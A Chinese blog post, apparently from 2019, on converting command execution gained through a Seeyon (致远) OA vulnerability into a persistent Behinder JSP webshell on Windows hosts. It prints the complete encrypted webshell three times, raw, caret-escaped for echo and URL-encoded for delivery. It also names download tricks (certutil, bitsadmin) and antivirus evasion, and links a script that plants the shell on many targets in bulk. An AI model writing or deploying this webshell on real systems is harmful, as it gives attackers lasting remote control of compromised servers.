美文网首页
如何优雅的把cmdshell升级为一句话 ——yzddMr6

如何优雅的把cmdshell升级为一句话 ——yzddMr6

作者: yzddMr6 | 来源:发表于2019-11-09 19:35 被阅读0次

    前言

    前一段时间致远OA的洞坑了不少公司

    自己也复现了一下 但是有个很恶心的问题就是 默认的payload是有长度限制的并且只是一个cmd的shell

    Linux的shell还比较灵活 但是win的来说就不太方便了

    特别是配合上恶心的url编码在浏览器里面遇到反斜杠就gg

    那么怎么把cmdshell优雅的转化为可以连接的一句话呢

    看了以前的帖子大概有这几个办法

    Js+cscript
    Certutil +base64
    Win7以上还有bitsadmin  
    Ps 
    等等等等
    

    Bitsadmin就不说了

    Certutil跟cscript远程下载其实也不错

    但是有两个问题

    1 如果主机不通外网就gg
    2 360会拦截

    综合来说都有自己的不足之处

    还是一句话echo最稳了

    自己也研究了一下 但是用echo写马有两个天坑

    1.win的尖括号转义

    image

    Win的尖括号要用^来转义而不是反斜杠

    如果你要是放到引号里会把引号一起打印出来

    image

    2. 沙雕url编码

    https://www.cnblogs.com/i80386/p/4576699.html

    大家可以自己去网上找一下帖子到底url编码有多混乱。。。。

    这里就说说python的requests模块的url编码

    经过测试

    空格=>%20
    %空格=>%%20
    %20=>%20
    

    也就是说 他在默认遇到百分号开头的字符串的时候 request模块会把它当做已经编码过的字符 直接发送过去

    但是他就带来个问题不会自动编码百分号

    所以你只把尖括号跟百分号转义过后的payload放到py脚本里还是不能正常执行

    这里偷了个懒直接找的在线网站,把它编码一遍再放到python里

    http://tool.chinaz.com/tools/urlencode.aspx

    综上:

    原来payload(冰蝎为例)

    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
    

    尖括号转义=>

    ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%^>
    

    url编码=>

    %5e%3c%25%40page+import%3d%22java.util.*%2cjavax.crypto.*%2cjavax.crypto.spec.*%22%25%5e%3e%5e%3c%25!class+U+extends+ClassLoader%7bU(ClassLoader+c)%7bsuper(c)%3b%7dpublic+Class+g(byte+%5b%5db)%7breturn+super.defineClass(b%2c0%2cb.length)%3b%7d%7d%25%5e%3e%5e%3c%25if(request.getParameter(%22pass%22)!%3dnull)%7bString+k%3d(%22%22%2bUUID.randomUUID()).replace(%22-%22%2c%22%22).substring(16)%3bsession.putValue(%22u%22%2ck)%3bout.print(k)%3breturn%3b%7dCipher+c%3dCipher.getInstance(%22AES%22)%3bc.init(2%2cnew+SecretKeySpec((session.getValue(%22u%22)%2b%22%22).getBytes()%2c%22AES%22))%3bnew+U(this.getClass().getClassLoader()).g(c.doFinal(new+sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3b%25%5e%3e
    

    然后写个轮子
    就可以批量cmd转一句话啦

    image image

    写了个脚本

    支持批量检测跟单个检测

    如果是

    http://
    

    开头的就识别成单个

    xxx.txt就是批量

    需要设置一下脚本里面的cmdshell地址跟密码

    项目地址:

    https://github.com/yzddmr6/cmd2bx

    相关文章

      网友评论

          本文标题:如何优雅的把cmdshell升级为一句话 ——yzddMr6

          本文链接:https://www.haomeiwen.com/subject/psinbctx.html